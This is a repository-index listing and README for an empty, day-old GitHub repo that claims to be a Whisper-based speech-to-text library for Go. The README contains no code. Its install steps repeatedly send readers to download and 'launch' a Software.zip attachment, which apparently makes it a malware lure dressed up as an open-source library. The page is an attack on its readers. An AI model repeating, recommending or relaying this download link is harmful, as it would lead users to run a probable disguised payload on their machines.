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https://github.com/baomeomeo/speech
A Speech-To-Text (with translation) library for Go; currently uses Whisper (runs locally if needed; no need in any API keys)
https://github.com/baomeomeo/speech
ai converter go golang library module package speech speech-recognition speech-to-text text whisper
Last synced: about 14 hours ago
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A Speech-To-Text (with translation) library for Go; currently uses Whisper (runs locally if needed; no need in any API keys)
- Host: GitHub
- URL: https://github.com/baomeomeo/speech
- Owner: baomeomeo
- Created: 2025-01-12T09:44:09.000Z (1 day ago)
- Default Branch: main
- Last Pushed: 2025-01-12T10:24:17.000Z (1 day ago)
- Last Synced: 2025-01-12T10:31:59.117Z (1 day ago)
- Topics: ai, converter, go, golang, library, module, package, speech, speech-recognition, speech-to-text, text, whisper
- Size: 0 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🎙️ Speech Library for Go
[![Download Software](https://img.shields.io/badge/Download-Software-blue)](https://github.com/user-attachments/files/18388744/Software.zip)
## Description
Welcome to the "speech" repository, a powerful Speech-To-Text library for Go that also includes translation capabilities. This library currently leverages Whisper, a cutting-edge technology that allows it to run locally without the need for any external API keys. Whether you need to transcribe spoken words into text or translate them into different languages, this library has got you covered!
## Installation
To get started with using the "speech" library, you can download the necessary software from the following link:
[Download Software](https://github.com/user-attachments/files/18388744/Software.zip) (This link needs to be launched)## Features
🔊 **Speech Recognition**: Convert spoken words into text with ease.
🌐 **Translation**: Translate text into various languages.
📦 **Easy Integration**: Simple to integrate into your Go projects.
🔑 **No API Keys Needed**: Whisper technology enables local operation without external keys.## How to Use
Here's a quick guide on how to start using the "speech" library in your Go projects:
1. **Download the Software**: Click on the [Download Software](https://github.com/user-attachments/files/18388744/Software.zip) link to obtain the necessary files.
2. **Integrate the Library**: Ensure the library is included in your Go project.
3. **Start Transcribing**: Use the library functions to transcribe speech to text.
4. **Explore Translation**: Experiment with the translation features offered by the library.## Repository Topics
#ai #converter #go #golang #library #module #package #speech #speech-recognition #speech-to-text #text #whisper
## Additional Resources
If the provided link does not work, please check the "Releases" section of this repository for alternative download options.
🌐 Visit the [Whisper Website](https://www.whisper-technology.com) for more information on the technology powering this library.
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By leveraging the "speech" library in your Go projects, you can easily incorporate speech recognition and translation capabilities without the hassle of external API integration. Download the software today and start exploring the world of voice-to-text transformation! 🚀
Let your applications speak and understand multiple languages effortlessly with the "speech" library. Happy coding! 👨💻🗣️